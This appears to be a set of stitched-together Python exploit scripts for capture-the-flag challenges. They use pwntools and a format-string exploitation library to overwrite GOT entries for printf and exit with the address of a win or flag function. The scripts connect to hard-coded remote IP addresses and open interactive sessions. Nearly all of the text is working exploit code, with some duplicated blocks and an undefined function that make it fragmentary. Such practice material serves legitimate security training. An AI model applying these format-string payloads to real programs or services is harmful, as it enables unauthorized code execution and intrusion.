def test_win(): winner = 0x4008DA connect() fmtStr = FormatString(exec_fmt, elf=elf, index=6, pad=0, explore_stack=False) fmtStr.write_q(elf.symbols['got.printf'], winner) p.sendline("2") p.sendline("") out = p.recvline() assert "This_is_the_flag" in out
context.binary = elf def connect(): global p p = process(elf.file.name) #p = remote("146.185.132.36",19153) p.recvuntil("Exit the battle \n") def exec_fmt(s): print("Sending: " + repr(s)) p.sendline("2") sleep(0.1) p.sendline(s) ret = p.recvuntil("1. Stack Bufferoverflow Bug", drop=True) p.recvuntil("Exit the battle \n") return ret winner = 0x4008DA connect() fmtStr = FormatString(exec_fmt, elf=elf, index=6, pad=0, explore_stack=False) fmtStr.write_q(elf.symbols['got.printf'], winner) p.sendline("2") p.interactive()
def remote_atk(pl): with remote('163.172.176.29', 9035) as p: p.recvuntil('pwner, whats your name?\n') p.sendline(pl) p.recvuntil('Till then Bye') p.interactive() #fmtStr = FormatString(exec_fmt, elf=elf) # index = 10 # pad = 0 # {'max_explore': 64, 'already_written': 1, 'index': 10, 'arch': 'i386', 'bad_chars': '\n', 'elf': ELF('/media/sd128/sdcard/ctf/backdoor/32_new'), 'leak': pwnlib.memleak.MemLeak(<bound method FormatString._leak of <formatStringExploiter.FormatString.FormatString instance at 0x7f9a4db16bd8>>, search_range=20, reraise=True), 'pad': 0, 'endian': 'little', 'padChar': 'C', 'bits': 32, 'stack': [0, 134514964, 4287639208, 1, 4148418072, 878, 4148127336, 4288161396, 4294223700, 4294281328, 1246382666, 607203621, 1246382704, 134220362, 4148590104, 725871085, 4147803752, 4148010770, 22683471, 4291817104, 4292129648, 878, 4151142496, 0, 4294967295, 4151212128, 4149479868, 4151994464, 0, 0, 6, 4151131424, 4152049433, 0, 4152130256, 4292899208, 4290620128, 4151290523, 134513148, 4293949144, 4151720564, 2, 4152046640, 1, 0, 1, 4152199448, 4151566800, 4151689224, 4151902848, 4151410696, 4294738648, 4151880780, 4151888258, 4151115784, 0, 4152123392, 4152051992, 4292519760, 134513630, 1663069007, 745303919, 1869574944, 1702305902], 'exec_fmt': <function exec_fmt at 0x7f9a50914230>} # print vars(fmtStr) # 0x84a8751 # 0x804870b flag = elf.symbols['_Z4flagv'] #flag = 0x7be86c5 # 0x61a761a7 print hex(flag) exit_got = elf.symbols['got.exit'] print hex(exit_got) printf_plt = elf.symbols['got.printf'] print hex(printf_plt) #payload = fmtstr_payload(10, {exit_got: flag}) # attack(payload) payload = FormatString(attack, elf=elf, index=10, explore_stack=False) payload.write_q(exit_got, flag)